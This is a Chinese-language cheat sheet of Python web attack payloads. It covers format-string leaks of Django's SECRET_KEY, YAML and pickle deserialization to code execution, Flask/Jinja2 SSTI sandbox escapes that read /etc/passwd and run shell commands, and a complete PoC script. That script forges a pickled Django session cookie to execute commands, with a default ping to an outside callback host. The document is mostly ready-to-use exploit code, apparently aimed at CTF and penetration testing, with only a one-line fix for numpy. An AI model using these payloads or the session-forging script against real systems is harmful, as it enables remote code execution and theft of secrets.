Universal
格式化字符串
"%s"%() 与 {}.format()
payload
{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
{user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
格式化字符串能导致敏感信息泄露,配合django的secret_key可以RCE
f修饰符 to RCE
python -c "f'''{__import__('os').system('id')}'''"
但是python没有提供普通字符串转f字符串的方法,所以基本上没有更厉害的利用
YAML反序列化 to RCE
通用payload
!!python/object/apply:subprocess.check_output [[calc.exe]]
!!python/object/apply:subprocess.check_output ["calc.exe"]
!!python/object/apply:subprocess.check_output [["calc.exe"]]
!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/new:os.system ["calc.exe"]
Pickle反序列化 to RCE
一般在什么场景下需要用到Pickle?
- 通常在解析认证token,session的时候。
- 可能将对象Pickle后存储成磁盘文件。
- 可能将对象Pickle后在网络中传输。
序列化:
pickle.dump(文件)
pickle.dumps(字符串)
反序列化:
pickle.load(文件)
pickle.loads(字符串)
Python Pickle的任意代码执行漏洞实践和Payload构造
Numpy反序列化 to RCE
其实也是在numpy中使用了pickle.load函数的序列化
修复:
numpy.load(filename, allow_pickle=False)
Flask
SSTI
知道了SSTI的成因,后面就是利用沙箱逃逸了,关于沙箱逃逸可以看这篇文章Python沙箱逃逸的n种姿势。
附上几个常用payload
#py2
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('whoami')}}
{{ config.from_pyfile('/tmp/owned.cfg') }}
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('whoami').read()}}
#py3
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
{{ ().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()") }}
{{"".__class__.__mro__[1].__subclasses__()[469].__init__.__globals__['popen']('ls').read()}}
当然,在这基础上还会有一定程度的过滤,就需要自行绕过了。
exploring-ssti-in-flask-jinja2
当同时过滤_
和[
时该怎么解决:
Jinja2 template injection filter bypasses
Django
Secret_key to RCE
实现条件
- 使用了cookie-based sessions
- 使用了serializers.PickleSerializer( django1.5及以下,session默认是采用pickle执行序列化操作
django.contrib.sessions.serializers.PickleSerializer
;在1.6 及以上版本默认采用json序列化。django.contrib.sessions.serializers.JSONSerializer
)
poc可以用bit4大佬的
# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
import os
import requests
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import pickle
def session_gen(SECRET_KEY,command = 'ping -n 3 test.0y0.link || ping -c test.0y0.link',):
class Run(object):
def __reduce__(self):
#return (os.system,('ping test.0y0.link',))
return (os.system,(command,))
#SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f'
SECRET_KEY = SECRET_KEY
sess = signing.dumps(Run(), key = SECRET_KEY,serializer=PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
#生成的恶意session
print sess
'''
salt='django.contrib.sessions.backends.signed_cookies'
sess = pickle.dumps(Run())
sess = signing.b64_encode(sess)#通过跟踪signing.dumps函数可以知道pickle.dumps后的数据还经过了如下处理。
sess = signing.TimestampSigner(key=SECRET_KEY, salt=salt).sign(sess)
print sess
#这里生成的session也是可以成功利用的,这样写只是为了理解signing.dumps。
'''
session = 'sessionid={0}'.format(sess)
return session
def exp(url,SECRET_KEY,command):
headers = {'Cookie':session_gen(SECRET_KEY,command)}
# proxy = {"http":"http://127.0.0.1:8080"}#设置为burp的代理方便观察请求包
response = requests.get(url,headers= headers)
#print response.content
if __name__ == '__main__':
url = 'http://127.0.0.1:8000/'
SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f'
command = 'cat /flag >/tmp/f1ag'
exp(url,SECRET_KEY,command)
JSONField SQL注入漏洞
复现的时候搞了半天都不行,结果Django更新到2.x就可以了。。。
CVE-2019-14234 Django JSON SQL注入 分析